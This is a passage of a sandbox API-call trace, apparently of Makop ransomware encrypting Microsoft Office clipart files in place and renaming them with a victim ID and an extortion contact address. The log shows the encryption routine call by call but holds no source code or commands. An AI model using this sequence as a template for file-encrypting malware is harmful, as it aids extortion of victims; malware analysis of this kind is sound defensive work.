(hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0134.566] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.566] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6180, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6180, lpOverlapped=0x0) returned 1 [0134.567] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6180, dwBufLen=0x6180 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6180) returned 1 [0134.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.568] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6180, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6180, lpOverlapped=0x0) returned 1 [0134.568] CryptDestroyKey (hKey=0x48c7128) returned 1 [0134.568] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.568] SetEndOfFile (hFile=0xf0) returned 1 [0134.575] GetProcessHeap () returned 0x48a0000 [0134.575] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0134.575] GetProcessHeap () returned 0x48a0000 [0134.575] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0134.575] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0134.575] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0134.577] CloseHandle (hObject=0xf0) returned 1 [0134.577] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295069.WMF", cAlternateFileName="")) returned 1 [0134.577] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF") returned 63 [0134.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.313] GetProcessHeap () returned 0x48a0000 [0135.313] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.313] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.313] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.313] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0135.317] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.317] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.317] GetProcessHeap () returned 0x48a0000 [0135.317] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.318] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.318] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.318] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.318] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.318] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.318] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.318] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.319] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.319] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.319] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.319] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x21b2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x21b2, lpOverlapped=0x0) returned 1 [0135.320] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21c0, dwBufLen=0x21c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x21c0) returned 1 [0135.320] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.321] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x21c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x21c0, lpOverlapped=0x0) returned 1 [0135.321] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.321] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.321] SetEndOfFile (hFile=0xf0) returned 1 [0135.328] GetProcessHeap () returned 0x48a0000 [0135.328] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.328] GetProcessHeap () returned 0x48a0000 [0135.328] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.328] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.328] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.330] CloseHandle (hObject=0xf0) returned 1 [0135.330] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0296277.WMF", cAlternateFileName="")) returned 1 [0135.331] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF") returned 63 [0135.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.332] GetProcessHeap () returned 0x48a0000 [0135.332] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.332] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.332] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.332] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.336] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.336] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.336] GetProcessHeap () returned 0x48a0000 [0135.336] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.336] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.336] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.336] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.336] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.336] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.337] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.337] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.337] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.337] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.337] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.337] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.337] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe42c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe42c, lpOverlapped=0x0) returned 1 [0135.340] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe430, dwBufLen=0xe430 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe430) returned 1 [0135.340] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.340] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe430, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe430, lpOverlapped=0x0) returned 1 [0135.341] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.341] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.341] SetEndOfFile (hFile=0xf0) returned 1 [0135.348] GetProcessHeap () returned 0x48a0000 [0135.348] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.348] GetProcessHeap () returned 0x48a0000 [0135.349] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.349] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.377] CloseHandle (hObject=0xf0) returned 1 [0135.377] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0296279.WMF", cAlternateFileName="")) returned 1 [0135.377] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF") returned 63 [0135.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.380] GetProcessHeap () returned 0x48a0000 [0135.380] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.380] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.380] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.380] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0135.385] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.385] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.385] GetProcessHeap () returned 0x48a0000 [0135.385] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.385] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.385] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.385] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.385] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.386] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.386] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0135.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0135.386] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0135.386] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.386] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.387] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1088e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1088e, lpOverlapped=0x0) returned 1 [0135.389] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10890, dwBufLen=0x10890 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x10890) returned 1 [0135.390] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.390] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10890, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x10890, lpOverlapped=0x0) returned 1 [0135.391] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.391] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x10964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.391] SetEndOfFile (hFile=0xf0) returned 1 [0135.400] GetProcessHeap () returned 0x48a0000 [0135.400] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0135.400] GetProcessHeap () returned 0x48a0000 [0135.400] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0135.400] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0135.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0135.401] CloseHandle (hObject=0xf0) returned 1 [0135.402] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0296288.WMF", cAlternateFileName="")) returned 1 [0135.402] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF") returned 63 [0135.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0135.403] GetProcessHeap () returned 0x48a0000 [0135.403] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0135.403] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0135.403] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0135.403] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.408] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0135.408] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0135.408] GetProcessHeap () returned 0x48a0000 [0135.408] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0135.408] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0135.408] CryptDestroyKey (hKey=0x48c7128) returned 1 [0135.408] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0135.408] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0135.408] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0135.408] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 